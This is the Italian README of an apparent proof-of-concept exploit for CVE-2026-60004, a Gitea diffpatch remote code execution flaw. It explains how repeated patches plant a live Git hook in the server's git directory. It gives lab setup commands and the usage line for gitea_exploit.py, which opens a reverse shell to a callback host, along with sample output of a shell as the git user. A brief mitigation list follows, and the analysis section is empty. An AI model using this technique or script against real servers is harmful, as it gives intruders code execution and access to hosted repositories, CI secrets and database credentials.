
CVE-2026-60004 — Updated!
Gitea diffpatch RCE
CVE-2026-60004 Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
Panoramica
CVE-2026-60004 è una vulnerabilità di Remote Code Execution (RCE) in Gitea. L'API
diffpatchapplica una patch fornita congit apply --cached, che dovrebbe toccare solo l'indice e non scrivere mai file su disco. Inviando la stessa patch due volte, un attaccante forza una collisione add/add che innesca il fallback di merge a tre vie di Git (-3). Quel percorso ignora--cachede fa il checkout del file nella working tree. Poiché il clone temporaneo è bare, la radice della sua working tree è$GIT_DIR. Una patch che crea unhooks/post-index-changeeseguibile piazza quindi un hook Git attivo, che Git esegue automaticamente al successivo aggiornamento dell'indice — eseguendo comandi con l'account di servizio di Gitea. L'endpoint richiede accesso in scrittura al repository, ma la registrazione è abilitata di default, quindi qualsiasi utente che possa registrarsi e creare un repository può raggiungerlo.
Versioni Affette
| Categoria | Versione |
|---|---|
| Vulnerabile | Gitea 1.17 ≤ versione ≤ 1.27.0 |
| Corretta | Gitea 1.27.1 o successiva |
Impatto
- Remote Code Execution come account di servizio Gitea (
git) - Accesso a tutti i repository ospitati, ai segreti CI e alle credenziali del database
Ambiente
Crea ed esegui l'ambiente Gitea vulnerabile. La registrazione è lasciata aperta e il
server include Git 2.32+, che abilita il fallback -3 su cui si basa l'attacco.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Prerequisito | Stato in questo lab |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ sul server (abilita -3) | 2.54 |
| Registrazione aperta | abilitata (default) |
| Accesso in scrittura al repository | tramite account auto-registrato |
PoC
L'exploit è completamente automatizzato da gitea_exploit.py. Dato un account che può
creare un repository, crea il repo di destinazione, invia la stessa patch
ripetutamente finché il fallback -3 di Git non scatta, e cattura la reverse shell con un
listener integrato — nessuna configurazione manuale, creazione di patch o calcolo di blob-hash necessari.
# python3 gitea_exploit.py <ip:porta target> <ip callback> [porta callback]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
Il fallback -3 scatta solo in determinate finestre temporali, quindi lo script esegue un loop
create → send → send finché non cattura (25 tentativi di default). Quando un send si blocca,
l'hook è scattato e il listener ti porta in una shell come git:
[*] tentativo 3/25 -> send#1 201, send#2 timeout <- BLOCCATO (scattato!)
[+] shell da 172.17.0.2:53344 -- digita comandi, Ctrl-C per uscire
uid=1000(git) gid=1000(git) groups=1000(git)
Opzioni:
--no-listen— cattura la shell con il tuoncesterno invece del listener integrato--user/--pw/--repo/--branch— sovrascrivi l'account e il repository di destinazione predefiniti
Mitigazione
- Aggiorna Gitea alla 1.27.1 o successiva
- Disabilita la registrazione aperta se non necessaria (
DISABLE_REGISTRATION=true) - Limita chi può raggiungere l'istanza e creare repository
Analisi
- KR: Coming soon!
- EN: